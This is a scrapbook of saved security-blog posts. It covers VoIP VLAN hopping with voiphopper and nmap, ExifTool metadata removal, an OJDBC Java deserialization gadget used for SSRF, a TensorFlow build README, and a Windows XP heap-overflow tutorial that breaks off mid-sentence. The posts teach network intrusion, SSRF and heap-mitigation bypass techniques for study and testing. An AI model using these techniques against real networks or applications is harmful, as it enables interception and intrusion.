  * Jeremy Blackthorne
  * Alexei Bulazel
  * Branden Clark
  * Sophia D'Antoine
  * Markus Gaasedelen
  * Austin Ralls

## Special Thanks

  * The RPI CS Department for giving us this opportunity and letting us run with it
  * Professor Bülent Yener for sponsoring such a course
  * Our students who put up with us all semester

# Episode92 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:36:01 PM_  
---|---  
**Updated:**| _8/5/2009 12:36:15 PM_  
**Author:**| __  
**Tags:**| _Metadata pauldotcom voip_  
  

# Can You Hear Me Now? - VoIP \(In\)Security, and Jumping VLANs, Oh my\!

I could write for days about what I learning in SEC540 - VoIP Security, a SANS
course presented by Raul Siles and Eric Cole. I had fun, and got a chance to
harass a fellow SANS instructor :-p It was a fantastic course\! Lets put it
this way, if you are in a position where you need to advise a company on how
to implement VoIP, and/or are responsible in any way, shape, or fashion for a
VoIP deployment in your organization, you need to go take this course. Here
are some of my thoughts:

\- SIP, the primary signaling protocol, was designed to be easy to use, which
means they leave out security. Its based on other similar protocols such as
HTTP and SMTP, using the same kind of handlers \(i.e. INVITE is similar to an
HTTP GET\).

\- Many of the problems with SIP are implementation specific, and can be
locked down in the configuration. For example, if you setup anAsterisk server
and leave registration open, that spells trouble\! This is how things like
SPIT and Vishing are happening. An example of a security enhancement in your
implementation is to run SIP over TCP to prevent replay attacks and spoofing.

\- There are many other problems that are inherent to SIP/RTP itself. For
example, RTP has to use UDP in order for calls not
....to......sound.....like..........this. However, this makes it easy to
inject audio into a call because the sequence number is only doing just that,
sequencing.

\- VLANS are not a security mechanism. If someone was going to prison, they
most likely would not wear womens underwear in favor of boxer shorts \(iron
clad ones if available\). In the same light, you would never design your
network without VLANs and have one big gigantic flat network. This would leave
everyone more vulnerable to ARP cache poisoning and a host of other attacks.
You would want to have VLANs in place to segment your network. However, as is
the case with going to prison, you are screwed either way.

This brings us to a new tool released at Toorcon 9 in October of this year.
Jason Ostrom and John Kindervag gave a presentation called "VoIP Penetration
Testing: Lessons Learned, Tools and Techniques". They released a tool called
VoIP Hopper \(http://voiphopper.sourceforge.net\). It uses CDP and other
methods to figure out what the VoIP VLAN is and assign it to an 802.1q
interface in Linux. This puts you on the VoIP VLAN where you can attack
phones, intercept calls, etc...

I ran voiphopper on Backtrack 2.0, since I did not have 802.1q compiled into
my kernel. It is not included by default, so you have to download it to BT,
then compile it with the "make" command. once compiled, you can see it has the
following options:

[code]

    Usage: voiphopper [-i interface] [-l] [-m MAC] [-a] [-v VLANID] [-D]
    
    Options:
        -i    Interface to sniff on
        -l    List available interfaces
        -m    MAC Address to spoof
        -a    Avaya DHCP Option 176
        -v    Vlan to hop to without sniffing for CDP
        -D    Don't change the  MAC address of default interface
    
    
[/code]

I plugged into the back of my Cisco 7940 VoIP phone and then ran it with the
following options:

[code]

    bt voiphopper-0.9.7 # voiphopper -i eth0
    Capturing CDP Packets on eth0
    Captured IEEE 802.3, CDP Packet of 125 bytes
    Discovered VoIP VLAN: 100
    
    Error trying to add VLAN 100 to Interface eth0: Invalid argument
    Attempting dhcp request for new interface eth0.100
    dhcpcd: MAC address = 00:18:8b:c6:ed:04
    dhcpcd: your IP address = 192.168.1.27
    
[/code]

Neat\! Now look, I have an interface on the VoIP VLAN \(100 in this case\):

[code]

    bt voiphopper-0.9.7 # ifconfig eth0.100
    eth0.100  Link encap:Ethernet  HWaddr 00:18:8B:C6:ED:04  
              inet addr:192.168.1.27  Bcast:192.168.1.255  Mask:255.255.255.0
              inet6 addr: fe80::218:8bff:fec6:ed04/64 Scope:Link
              UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:88 errors:0 dropped:0 overruns:0 frame:0
              TX packets:575 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0 
              RX bytes:5526 (5.3 KiB)  TX bytes:33434 (32.6 KiB) 
    
[/code]

Lets see what's on this subnet:

[code]

    bt voiphopper-0.9.7 # nmap -sP 192.168.1.1-254
    
    Starting Nmap 4.20 ( http://insecure.org ) at 2007-12-14 14:27 GMT
    Host 192.168.1.1 appears to be up.
    MAC Address: 00:17:E0:4A:65:B1 (Cisco Systems)
    Host 192.168.1.2 appears to be up.
    MAC Address: 00:17:E0:4A:65:B1 (Cisco Systems)
    Host 192.168.1.11 appears to be up.
    MAC Address: 00:17:95:F8:B7:29 (Cisco Systems)
    Host 192.168.1.12 appears to be up.
    MAC Address: 00:17:95:F8:B7:74 (Cisco Systems)
    Host 192.168.1.13 appears to be up.
    MAC Address: 00:17:95:2B:83:C0 (Cisco Systems)
    Host 192.168.1.14 appears to be up.
    MAC Address: 00:17:95:F9:C9:FB (Cisco Systems)
    Host 192.168.1.15 appears to be up.
    MAC Address: 00:18:19:24:1C:6F (Cisco Systems)
    Host 192.168.1.18 appears to be up.
    MAC Address: 00:0F:90:89:6D:2C (Cisco Systems)
    Host 192.168.1.19 appears to be up.
    MAC Address: 00:0F:90:88:35:08 (Cisco Systems)
    Host 192.168.1.20 appears to be up.
    MAC Address: 00:0F:90:88:3B:93 (Cisco Systems)
    Host 192.168.1.21 appears to be up.
    MAC Address: 00:0F:90:88:3C:27 (Cisco Systems)
    Host 192.168.1.22 appears to be up.
    MAC Address: 00:0F:90:88:31:A7 (Cisco Systems)
    Host 192.168.1.23 appears to be up.
    MAC Address: 00:0E:38:41:33:8A (Cisco Systems)
    Host 192.168.1.26 appears to be up.
    MAC Address: 00:15:FA:1A:D4:D4 (Cisco Systems)
    Host 192.168.1.27 appears to be up.
    Nmap finished: 254 IP addresses (15 hosts up) scanned in 44.149 seconds 
    
[/code]

Looks like a whole bunch of Cisco phones\! From here I can ARP cache poison
and do all sorts of nasty stuff. There has been much push back on this
technique, as first its nice when CDP is enabled. CDP is great for attackers,
it gives out all sorts of information. The following tcpdump command will dump
the CDP packets out so you can see them:

[code]

    bt voiphopper-0.9.7 # tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
    tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes
    14:30:27.612332 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125
            Device-ID (0x01), length: 15 bytes: 'SEP0015FA1AD4D4'
            Address (0x02), length: 13 bytes: IPv4 (1) 192.168.1.26
            Port-ID (0x03), length: 6 bytes: 'Port 2'
            Capability (0x04), length: 4 bytes: (0x00000090): L3 capable
            Version String (0x05), length: 12 bytes: 
              P0030702T023
            Platform (0x06), length: 19 bytes: 'Cisco IP Phone 7940'
            Native VLAN ID (0x0a), length: 2 bytes: 200
            Duplex (0x0b), length: 1 byte: full
            ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 100
            AVVID trust bitmap (0x12), length: 1 byte: 0x00
            AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00
    1 packets captured
    2 packets received by filter
    0 packets dropped by kernel
    bt voiphopper-0.9.7 #  
    
[/code]

Note: The filter 'ether\[20:2\] == 0x2000' is checking if bytes 20 and 21,
from the start of the ethernet header, for a value of 2000 \(hex\).

Credit: http://sidewynder.blogspot.com/2005/07/tcpdump-filter-for-capturing-
only.html

And look, a new version of Nmap to run against the phones\!

[code]

    paimei:~/downloads paulda$ sudo nmap -e en0 -sV -p 1-65535 -O 192.168.1.11
    
    Starting Nmap 4.50 ( http://insecure.org ) at 2007-12-14 14:37 EST
    Interesting ports on 192.168.1.11:
    Not shown: 65534 closed ports
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Cisco IP Phone http config
    No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
    TCP/IP fingerprint:
    OS:SCAN(V=4.50%D=12/14%OT=80%CT=1%CU=31202%PV=Y%DS=1%G=Y%TM=4762DBC9%P=i386
    OS:-apple-darwin8.11.1)SEQ(SP=0%GCD=A000%ISR=95%TI=I%II=I%SS=S%TS=U)OPS(O1=
    OS:M5B0%O2=M5B0%O3=M5B0%O4=M5B0%O5=M5B0%O6=M5B0)WIN(W1=578%W2=578%W3=578%W4
    OS:=578%W5=578%W6=578)ECN(R=Y%DF=N%T=FA%W=578%O=M5B0%CC=N%Q=)T1(R=Y%DF=N%T=
    OS:FA%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=FA%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
    OS:3(R=Y%DF=N%T=FA%W=578%S=O%A=S+%F=AS%O=M5B0%RD=0%Q=)T4(R=Y%DF=N%T=FA%W=0%
    OS:S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T=FA%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(
    OS:R=Y%DF=N%T=FA%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=FA%W=0%S=Z%A=S+%F
    OS:=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=FA%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%R
    OS:UCK=G%RUL=G%RUD=G)U1(R=N)IE(R=Y%DFI=N%T=FA%TOSI=Z%CD=S%SI=S%DLI=S)
    
    
    Network Distance: 1 hop
    Service Info: Device: VoIP phone
    
    OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 102.205 seconds 
    
[/code]

So, thats all well and good, but what if you are not running CDP? Thats okay,
your phone will happily grant you access to that information:

Cisco 7940 VLAN Information

Oh, and what if there are no phones vulnerable to anything? Thats okay, you
can use yersinia to become the spanning tree root and take over the entire
network:

Yersinia Pwnage

No more details here, as I did not want to disrupt the network\!

# YATS: Removing Jpeg Metadata with ExifTool

Quite some time ago, we mentioned an article where a Hacker who was
interviewed "anonymously" for an article had his location revealed via the
IPTC Metdata located in his picture in the article. As a follow on, we'll show
you a command line tool \(available on Windows, linux and OS X - a perl
script\)- ExifTool \- that can show you the data. The real follow on to an
earlier metadata tech segment, we'll show you how to remove all of the
possible metadata with ExifTool as well.

If you would like to follow along with the image form the article, it is
available on Wikipedia. Wikipedia also has the article related to the picture.

First, let's view the meta data

[code]

    NORAD:$ exiftool -a -u -g1 <jpeg filename>
    
    
[/code]

Lots of awesome output. The IPTC bits are used by the AP...

So, how can we delete most info with:

[code]

    NORAD:$ exiftool -All= <jpeg filename>
    
    
[/code]

Alternatively if we just wanted to remove the most offending bits, the XMP
data \(IPTC, if I recall\) we can just use

[code]

    NORAD:$ exiftool -xmp:all= <jpeg filename>
    
    
[/code]

As an added bonus, one of the other things that was discovered with the
article during the investigation, was that an image of 0x80 had been cropped
to disguise his face and surroundings, but the image thumbnail had been left
as the original, full sized image. We can use exiftool to extract the
thumbnail with

[code]

    NORAD:$ exiftool -b -ThumbnailImage <jpeg filename> > <jpeg thumbnail filename>
    
    
[/code]

and view the resulting output in an image viewer of your choice.

On another note, you can do some quick auditing with a Firefox Add-on called
FxIF, which when you view image properties, it will reveal a limited set of
image metadata.

This is just scratching the surface of ExifTool\!

# Java Deserialization: Misusing OJDBC for SSRF

**Created:**| _3/7/2018 8:50:35 AM_  
---|---  
**Updated:**| _3/7/2018 8:50:35 AM_  
**Author:**| _wishi_  
**Tags:**| _Java parser_  
  

  

  
This year ZeroNights has got a new zone - Web Village. It was a special
"track" for people who were interested in web security. The basic idea of the
Web Village is to tell people about typical vulnerabilities and attack
techniques. I made a speech about basics of deserialization vulns in various
languages. I wanted to show common patterns which make serialization libs
potentially vulnerable. There is that presentation.  
  

In the presentation I showed an example of a new Java gadget in order to prove
that it's stupid to "fix" gadgets or "blacklist" them instead of
protecting/changing deserialization lib. Here I’d like to show some details of
the example.

  
The gadget is a class in a library which is used to connect a Java application
to a RDBMS Oracle - ojdbc. Actually, this exact class
\(OraclePooledConnection\) is responsible for establishing a connection.

The example is very simple, because the class has a readObject method which
goal is to reestablish connection to a database during a deserialization
process.

In the bottom of the post you can read the code, but it's not necessary,
because we are going to use it in the same way as it's supposed to be used.

  

As we control a field \(connection\_url\) with a string where a java
application tries to connect during deserialization process, it means that we
have a SSRF vulnerability here.

At first glance, it looks pretty useless, because the Oracle's protocol is
binary. But I played with Oracle DB some years ago and know that the client
\(and TNS protocol\) is very flexible.

The "URL" consists of several fields:  
  
jdbc:oracle:thin:login/password@//any.domain.name.here.com:8888/service\_name

  
I think almost all of them are self-describing.

An important feature for us is that the "service name" field can contain a
very long value and almost any ASCII symbols. So, potentially we can interact
with text-based services. Yes, there will be binary garbage before the service
name and after, but many servers don't care much about such things \("errors
friendly"\).

  

<img src='img/ssrf.png' width='640' height='141' />

So step-by-step, we create a serialized object with a specific payload as
service name, send it to an application. The application runs readObject of
"OraclePooledConnection" class and it forces the application to connect to
wherever we want and to send our payload.

  

So, my point is pretty clear, the class doesn't really have any vulns, but we
still can misuse its features for our attacks.

  

There is a simple PoC.

  

PS: The same "SSRF-attack" you can perform if you have access to Oracle DB
with privs that allow you to create DB links.

  

P.P.S: Potentially, the attack can be improved somehow... As we control the
"url" for connection, may be we can steal NetNTLM credentials \(because oracle
auth supports it\) or perform TNS Poisoning attack?  
  
Code of readObject method of OraclePooledConnection class

1 |  private void readObject\(ObjectInputStream paramObjectInputStream\)  
---|---  
2 |  throws IOException, ClassNotFoundException, SQLException  
3 |  \{  
4 |  paramObjectInputStream.defaultReadObject\(\);  
5 |  this.connectionProperty = \(\(Hashtable\)paramObjectInputStream.readObject\(\)\);  
6 |  try  
7 |  \{  
8 |  Properties localProperties = \(Properties\)this.connectionProperty.get\("connection\_properties"\);  
9 |  String str1 = localProperties.getProperty\("connection\_url"\);  
10 |  this.oracleDriver = new OracleDriver\(\);  
11 |  Connection localConnection = this.oracleDriver.connect\(str1, localProperties\);  
12 |  initialize\(localConnection\);  
13 |  this.eventListeners = \(\(Hashtable\)this.connectionProperty.get\("event\_listener"\)\);  
14 |  this.sqlException = \(\(SQLException\)this.connectionProperty.get\("sql\_exception"\)\);  
15 |  this.autoCommit = \(\(String\)this.connectionProperty.get\("pool\_auto\_commit"\)\).equals\("true"\);  
16 |  this.closeCallback = \(\(OracleCloseCallback\)this.connectionProperty.get\("close\_callback"\)\);  
17 |  this.privateData = this.connectionProperty.get\("private\_data"\);  
18 |   
19 |  Map localMap = \(Map\)this.connectionProperty.get\("obj\_type\_map"\);  
20 |  if \(localMap \!= null\) \{  
21 |  \(\(OracleConnection\)localConnection\).setTypeMap\(localMap\);  
22 |  \}  
23 |  String str2 = localProperties.getProperty\("trans\_isolation"\);  
24 |  localConnection.setTransactionIsolation\(Integer.parseInt\(str2\)\);  
25 |  str2 = localProperties.getProperty\("stmt\_cache\_size"\);  
26 |   
27 |  int i = Integer.parseInt\(str2\);  
28 |  if \(i \!= -1\)  
29 |  \{  
30 |  setStatementCacheSize\(i\);  
31 |   
32 |  str2 = localProperties.getProperty\("implicit\_cache\_enabled"\);  
33 |  if \(\(str2 \!= null\) && \(str2.equalsIgnoreCase\("true"\)\)\) \{  
34 |  setImplicitCachingEnabled\(true\);  
35 |  \} else \{  
36 |  setImplicitCachingEnabled\(false\);  
37 |  \}  
38 |  str2 = localProperties.getProperty\("explict\_cache\_enabled"\);  
39 |  if \(\(str2 \!= null\) && \(str2.equalsIgnoreCase\("true"\)\)\) \{  
40 |  setExplicitCachingEnabled\(true\);  
41 |  \} else \{  
42 |  setExplicitCachingEnabled\(false\);  
43 |  \}  
44 |  \}  
45 |  this.physicalConn.setAutoCommit\(\(\(String\)localProperties.get\("connect\_auto\_commit"\)\).equals\("true"\)\);  
46 |  \}  
47 |  catch \(Exception localException\) \{\}  
48 |  \}  
view raw OraclePooledConnection.java hosted with ❤ by GitHub

  

# Primulinus/tensorflow-opt

**Created:**| _5/31/2017 6:06:20 PM_  
---|---  
**Updated:**| _5/31/2017 6:06:20 PM_  
**Author:**| __  
**Tags:**| _bookmark GPU build machine-learning_  
  

  

# tensorflow-opt

Tensorflow 1.2.0rc. CPU only + CUDA version.

Compiled with SSE4.1, SSE4.2, AVX, AVX2 and FMA optimizations, for Python3.

Gets rid of these:

[code]

    The TensorFlow library wasn't compiled to use SSE4.1 instructions, but
    these are available on your machine and could speed up CPU computations.
    
[/code]

and provides sensible speedups on modern CPUs.

Tested on Ubuntu Yakkety Yak and Zesty; probably works on other modern
distributions as well.

Uncompress the ` .tar.xz ` file, run ` pip install *.whl ` and there you go.

# tensorflow-opt

Tensorflow 1.2.0rc. CPU only + CUDA version.

Compiled with SSE4.1, SSE4.2, AVX, AVX2 and FMA optimizations, for Python3.

Gets rid of these:

[code]

    The TensorFlow library wasn't compiled to use SSE4.1 instructions, but
    these are available on your machine and could speed up CPU computations.
    
[/code]

and provides sensible speedups on modern CPUs.

Tested on Ubuntu Yakkety Yak and Zesty; probably works on other modern
distributions as well.

Uncompress the ` .tar.xz ` file, run ` pip install *.whl ` and there you go.

  

# Heap Overflows For Humans – 102 « mr\_me's IT security blog

**Created:**| _9/3/2011 11:42:32 AM_  
---|---  
**Updated:**| _9/3/2011 11:42:32 AM_  
**Author:**| __  
**Tags:**| _windows security Heap_  
  

## Heap Overflows For Humans – 102

by mr\_me on Sep.02, 2011, under exploit development, reversing

Initially I discussed techniques for exploiting heap overflows in older
versions of Windows in an attempt to give the reader a practical working
knowledge of how the unlink process works and how flink/blink from
freelist\[n\] can be controlled to give an attacker an arbitrary write 4
primitive.

The primary purpose of this article is to re-educate myself \(I’m forgetful\)
and to help security professionals continue in obtaining a grasp on the
technical understandings of how the heap manager works under older versions of
windows \(NT v5 and below\). This is done in order to exploit heap overflows
or memory corruptions vulnerabilities and bypass specific mitigations aimed at
preventing the generic “write 4″. It also serves the purpose for the reader to
establish a benchmark of knowledge that would no doubt be needed in order to
attack newer windows heap implementations.  
  
This tutorial will discuss in detail only one well-known application specific
technique for bypassing Windows XP SP2/SP3 heap protection mechanisms.
Therefore, it is no way a definitive guide, nor will it cover every aspect of
the heap.

To continue, a somewhat solid understanding of how heap structures work in
windows XP/Server 2003 is required. For the purposes of this tutorial alone,
and based upon feedback from Heap Overflow for Humans 101, I will discuss some
aspects of how the heap internals work under this environment.

If you are unfamilair with heap based buffer overflows at least a basic level
then it is suggested that you focus in this area first. To follow along you
will need:

  * Windows XP with just SP1 installed.
  * Windows XP with just SP2/SP3 installed.
  * A debugger \(Olly Debugger, Immunity Debugger, windbg with access to the ms symbol server etc\).
  * A c/c++ compilier \(Dev C++, lcc-32, MS visual C++ 6.0 \(if you can still get it\)\).
  * A scripting language of ease \(I use python, maybe you can use perl\).
  * A brain \(and/or persistance\).
  * Some knowledge of Assembly, C and knowledge on how to dig through a debugger
  * HideDbg under Olly Debugger \(plugin\) or \!hidedebug under immunity debugger
  * Time.

Grab a coffee and let’s investigate this mysterious black art.

**So what exactly is a chunk and block?**

A chunk is simply a contiguous piece of memory generally measured in blocks
and is in a particular state depending on the flag set in the particular heap
chunk header. A block is simply a portion of heap memory measured as 8 bytes.
Generally we are concerned with whether the chunk is allocated or freed.
During the article, and the sake of clarity the terms will be referenced this
way.

No matter what, all chunks are stored in a heap segment. Additionally, the
heap chunks may be in other locations in the heap structure and will have
different chunk structures depending on _where_ they are _placed_ within the
heap structure.

Let’s begin by discussing the heap structure itself and three very important
heap structures inside the heap where chunks of memory are stored.

## The heap structure:

By default, Windows has a specific structure of how the heap will look like.
At offset 0×90 in the PEB, you can see a listing of heaps for the given
process in an ordered array structure from when they were created. Lets
display some heap structures:

Using Windbg we can find the current PEB by using \!peb. If you are a Immunity
Debugger user, you can also view this information by using \!peb. The very
simple code provided for \!peb is below.

[code]

    from immlib import *
    def main(args):
    	imm = Debugger()
    	peb_address = imm.getPEBAddress()
    	info = 'PEB: 0x%08x' % peb_address
    	return info
    
[/code]

Once we are in the PEB we can see the process heaps:

+0×090 ProcessHeaps : 0x7c97ffe0 -> 0×00240000 Void

So lets dump dword’s at that pointer location 0x7c97ffe0

0:000> dd 7c97ffe0

7c97ffe0 **00240000 00340000 00350000 003e0000**  
7c97fff0 **00480000** 00000000 00000000 00000000  
7c980000 00000000 00000000 00000000 00000000  
7c980010 00000000 00000000 00000000 00000000  
7c980020 02c402c2 00020498 00000001 7c9b2000  
7c980030 7ffd2de6 00000000 00000005 00000001  
7c980040 fffff89c 00000000 003a0043 0057005c  
7c980050 004e0049 004f0044 00530057 0073005c

The addresses in bold are the current heaps that are running in this process.
This information can also be found in windbg and Immunity Debugger by using
the command \!heap.

<img src='img/Temp2_3749.png' width='264' height='89' alt='hofh2_1' />

Display all the heaps of a given process

Additionally, you can view statically information regarding each heap using
the \!heap -stat command in windbg. Below is the example output of this:

[code]

    _HEAP 00030000
     Segments 00000002
     Reserved bytes 00110000
     Committed bytes 00014000
     VirtAllocBlocks 00000000
     VirtAlloc bytes 00000000
[/code]

Finally, you can dump some meta data regarding the heap using the -h and -q
flag in Immunity Debugger.

<img src='img/Temp2_3755.png' width='300' height='48' alt='The _heap
structure' />

Displaying the \_heap structure metadata

The first heap \(0×00240000\) is the default heap, while the other heaps are
created from C components or constructs. The last heap in the output
\(0×00480000\) was created by our application.

The application may use a call like HeapCreate\(\) to create the additional
heap\(s\) and store the pointers at offset 0×90 in the PEB. The following
displays the Windows API for HeapCreate\(\)

HANDLE WINAPI HeapCreate\(  
\_\_in DWORD flOptions,  
\_\_in SIZE\_T dwInitialSize,  
\_\_in SIZE\_T dwMaximumSize  
\);

A call to HeapCreate\(\) with the correct parameters will return a pointer to
the created heap stored in the EAX register.

The arguments are as follows:

  1. flOptions 
     * HEAP\_CREATE\_ENABLE\_EXECUTE: allow the execution of application code\)
     * HEAP\_GENERATE\_EXCEPTIONS: An exception is raised when a call to HeapAlloc\(\) or HeapReAlloc\(\) is called and can’t be fulfilled
     * HEAP\_NO\_SERIALIZE: Serialized access is not used when the heap functions access this heap

  1. dwInitialSize

The initial size that is committed for the heap rounded up to the nearest page
size \(4k\). If 0 is specified, then a single page size for the heap is set.
The value must be smaller than dwMaximumSize.

  1. dwMaximumSize

the maximum size of the heap. If requests are made to HeapAlloc\(\) or
HeapReAlloc\(\) that exceed the dwinitialSize value, then the virtual memory
manager will return page\(s\) of memory that will fill the allocation request
and the remainder of memory will be stored in the freelist.

If dwMaximumSize is 0, the heap can grow in size. The heap’s size is limited
only by the available memory.

More information on the flags can be found at msdn. Below is an table of the
heap structure with important locations highlighted. You can use the command
‘dt \_heap’ in windbg to view this information.

**Address**| ******Value**  
****| **Description**  
---|---|---  
0×00360000| 0×00360000| Base Address  
0x0036000C| 0×00000002| Flags  
0×00360010| 0×00000000| ForceFlags  
0×00360014| 0x0000FE00| VirtualMemoryThreshold  
**0×00360050**| **0×00360050**| **VirtualAllocatedBlocks List**  
**0×00360158**| **0×00000000**| **FreeList Bitmap**  
**0×00360178**| **0x00361E90**| **FreeList\[0\]**  
**0×00360180**| **0×00360180**| **FreeList\[n\]**  
0×00360578| 0×00360608| HeapLockSection  
0x0036057C| 0×00000000| Commit Routine Pointer  
0×00360580| 0×00360688| FrontEndHeap  
0×00360586| 0×00000001| FrontEndHeapType  
0×00360678| 0x00361E88| Last Free Chunk  
**0×00360688**| **0×00000000**| **Lookaside\[n\]**  
## Heap segments:

As mentioned before, every heap chunk is stored in a heap segment. If a chunk
of memory is freed, it will be added to the freelist or lookaside list in
addition to being stored in the heap segment. When allocating, if the heap
manager can’t find any available free chunks in the lookaside or the freelist,
it will ‘commit’ more memory to the current heap segment from the uncommitted
space. A heap structure can have many segments if lots of memory is being
committed due to many allocations. Below is an table showing the segment chunk
structure.

**Header**|  Self Size \(0×2\)| Prev Size \(0×2\)| Segment index \(0×1\)| Flag
\(0×1\)| Unused \(0×1\)| Tag index \(0×1\)  
---|---|---|---|---|---|---  
**Data**|  
When analysing heap segments, we can do so by using the ‘\!heap -a \[heap
address\]‘ command in windbg.

<img src='img/Temp2_3738.png' width='234' height='300' alt='heap segments' />

Displaying chunks and meta data in the 0x00480000 heap segment

Additionally you can use the ‘\!heap -h \[heap address\] -c’ in immunity
debugger \(the -c flag show chunks\)

<img src='img/Temp2_3742.png' width='300' height='173' alt='displaying chunks'
/>

Displaying chunks in the 0x00480000 heap segment

Each segment contains its own meta data followed by the chunks of data inside
the segment. This is the commited memory of the segment,  
and finally the segment contains a section of uncommitted memory. Now that we
know the segment we want to analyse, we can use the command ‘dt
\_heap\_segment \[segment address\]‘ to dump the meta data structure.

<img src='img/Temp2_3733.png' width='300' height='136' alt='heap segment meta
data analysis' />

heap segment meta data analysis

Below is a detailed table containing the structure of the segment meta data.
For simplicity, we will start the address range at 0×00480000.

**Address**| **Value**| **Description**  
---|---|---  
0×00480008| 0xffeeffee| Signature  
0x0048000C| 0×00000000| Flags  
0×00480010| 0×00480000| Heap  
0×00480014| 0x0003d000| LargeUncommitedRange  
0×00480018| 0×00480000| BaseAddress  
0x0048001c| 0×00000040| NumberOfPages  
0×00480020| 0×00480680| FirstEntry  
0×00480024| 0x004c0000| LastValidEntry  
0×00480028| 0x0000003d| NumberOfUncommitedPages  
0x0048002c| 0×00000001| NumberOfUncommitedRanges  
0×00480030| 0×00480588| UnCommitedRanges  
0×00480034| 0×00000000| AllocatorBackTraceIndex  
0×00480036| 0×00000000| Reserved  
0×00480038| 0x00381eb8| LastEntryInSegment  
The important information in a segment is the first chunk. This information
alone can be used to ‘walk’ the segment, as you can display the chunk and the
next chunks simply by knowing the size and granularity.

## The backend allocator – Freelist:

At offset 0×178 of the heap structure, we can see the start of the
FreeList\[\] array. The FreeList contains a doubly linked list of chunks. They
are doubly linked due to containing both flink and blink.

array containing heap chunks “\]<img src='img/Temp2_3729.png' width='300'
height='175' alt='The freelist array containing heap chunks ' />

The freelist array containing heap chunks

The above diagram shows that the freelist contains an indexed array of heap
chunks ranging from 0-128. Any chunk sizes between 0 and 1016 \(its 1016
because the maximum size is 1024 – 8 bytes of metadata\) are stored according
to their allocated unit size \* 8. For example, say that I have a chunk of 40
bytes to free, then I would place the chunk at index 4 of the freelist
\(40/8\).

If a chunk size was above 1016 \( 127 \* 8 \) bytes, then it would be stored
in the freelist\[0\] entry in numerical size ordering. Below is a description
of the freelist chunk.

**Headers**|  Self Size \(0×2\)| Prev Size \(0×2\)| Segment index \(0×1\)|
Flag \(0×1\)| Unused \(0×1\)| Tag index \(0×1\)  
---|---|---|---|---|---|---  
**flink/blink**|  Flink \(0×4\)| Blink \(0×4\)  
**Data**|  
**Freelist Mitigations:**

Microsoft released some mitigations to prevent attacks on unlinking of the
_freelist_ entry, below is a short description of the mitigations.

_Safe unlinking of the freelist:_

Safe unlinking is a protection mechamism implimented by Microsoft in Windows
XP Sp2 and above. Essentialy it is an exploitation mitigation that attempts to
prevent the generic write 4 technique as discused in Heap Overflows for Humans
101. In this check, the previous chunks ‘flink’ points to our allocated chunk
and that the adjacent chunks blink points to our allocated chunk. Below is a
description and diagram of the security mechanism in place.

Freelist chunk 1\[flink\] == Freelist chunk 2 && Freelist chunk 3\[blink\]
==Freelist chunk 2

<img src='img/Temp2_3753.png' width='300' height='206' alt='Safe unlinking of
freelist chunks ' />

Safe unlinking of freelist chunks

The lines indicted with red is where the check is performed.

<img src='img/Temp2_3736.png' width='300' height='90' alt='Safe unlinking in
Windows XP SP3 ' />

Safe unlinking in Windows XP SP3

If any of the checks fail, then a jump to 0x7c936934 is made into ntdll.dll.
As you can see it is almost the same as our traditional unlink except that we
have added code that checks the flink/blink.

Freelist header cookies:

The introduction of Windows XP SP2 saw a random heap cookie placed inside the
chunk headers at offset 0×5. Only the freelist chunks have these cookie
checks. Below is an image of a heap chunk with the security cookie
highlighted. This is a random single byte entry and as such has a maximum
possible randomization of 256 possible values. Keep in mind that you might be
able to bruteforce this value in a multithreaded environment.

<img src='img/Temp2_3727.png' width='300' height='201' alt='A heap cookie in a
heap chunk ' />

A heap cookie in a heap chunk

## The frontend allocator – Lookaside:

The lookaside list is a singly linked list used to store heap chunks that are
under 1016 bytes \(max: 1016+8\). The idea behind the lookaside list is to
enable speed and rapid lookup time. This is because applications execute
multiple HeapAlloc\(\)’s and HeapFree\(\)’s during the processes run-time.
Because it was designed for speed and efficiency, it allows no more than 3
free chunks per list entry. If HeapFree\(\) is called on a chunk and there is
already 3 entries for that particular chunk size, then it is freed to the
Freelist\[n\].

The heap chunk size is always calculated to the actual size of the allocation
+ an additional 8 bytes due to its header. So if the allocation is made for 16
bytes, then the lookaside list would be scanned for chunk sizes of 24 bytes
\(16 + chunk header\). In the case of the below diagram, the windows heap
manager would succeed and find an available chunk at index 2 of the lookaside
list.

The lookaside list contains only an flink pointing to the next available chunk
\(user data\).

**Headers**|  Self Size \(0×2\)| Prev Size \(0×2\)| Cookie \(0×1\)| Flags
\(0×1\)| Unused \(0×1\)| Segment index \(0×1\)  
---|---|---|---|---|---|---  
**flink/blink**|  Flink \(0×4\)  
**Data**|  
  
<img src='img/Temp2_3746.png' width='300' height='153' alt='The lookaside list
table entries ' />

The lookaside list table entries

When the windows heap manager gets an allocation request, it looks for a free
chunks of heap memory that can fulfill the request. For optimization and
speed, the windows heap manager will first walk the lookaside list to begin
with \(due to its singly linked list structure\) and try to find a free chunk.
If the chunk is not found here, the windows heap manager will try the backend
allocator. This is where the heap manager will walk the freelist \(between
freelist\[1\]-freelist\[127\]\). If no chunk is found, then it will walk the
freelist\[0\] entry for a larger chunk and then split the chunk. A portion
will be returned to the heap manager and the rest will return to freelist\[n\]
\(n is the index based on the remaining bytes in size\). This brings us to the
next section, heap operations.

## Basic Heap Operations:

### Chunk splitting

Chunk splitting is the process of accessing freelist\[n\] for a sizable chunk
and breaking it down into smaller chunks. When a chunk is accessed at the
freelist that is bigger than the requested allocation size, the chunk will be
split in half to meet the requested allocation size.

Suppose at freelist\[0\] this is a single chunk of size 2048 bytes. If the
requested allocation size is 1024 bytes \(including the header\), then the
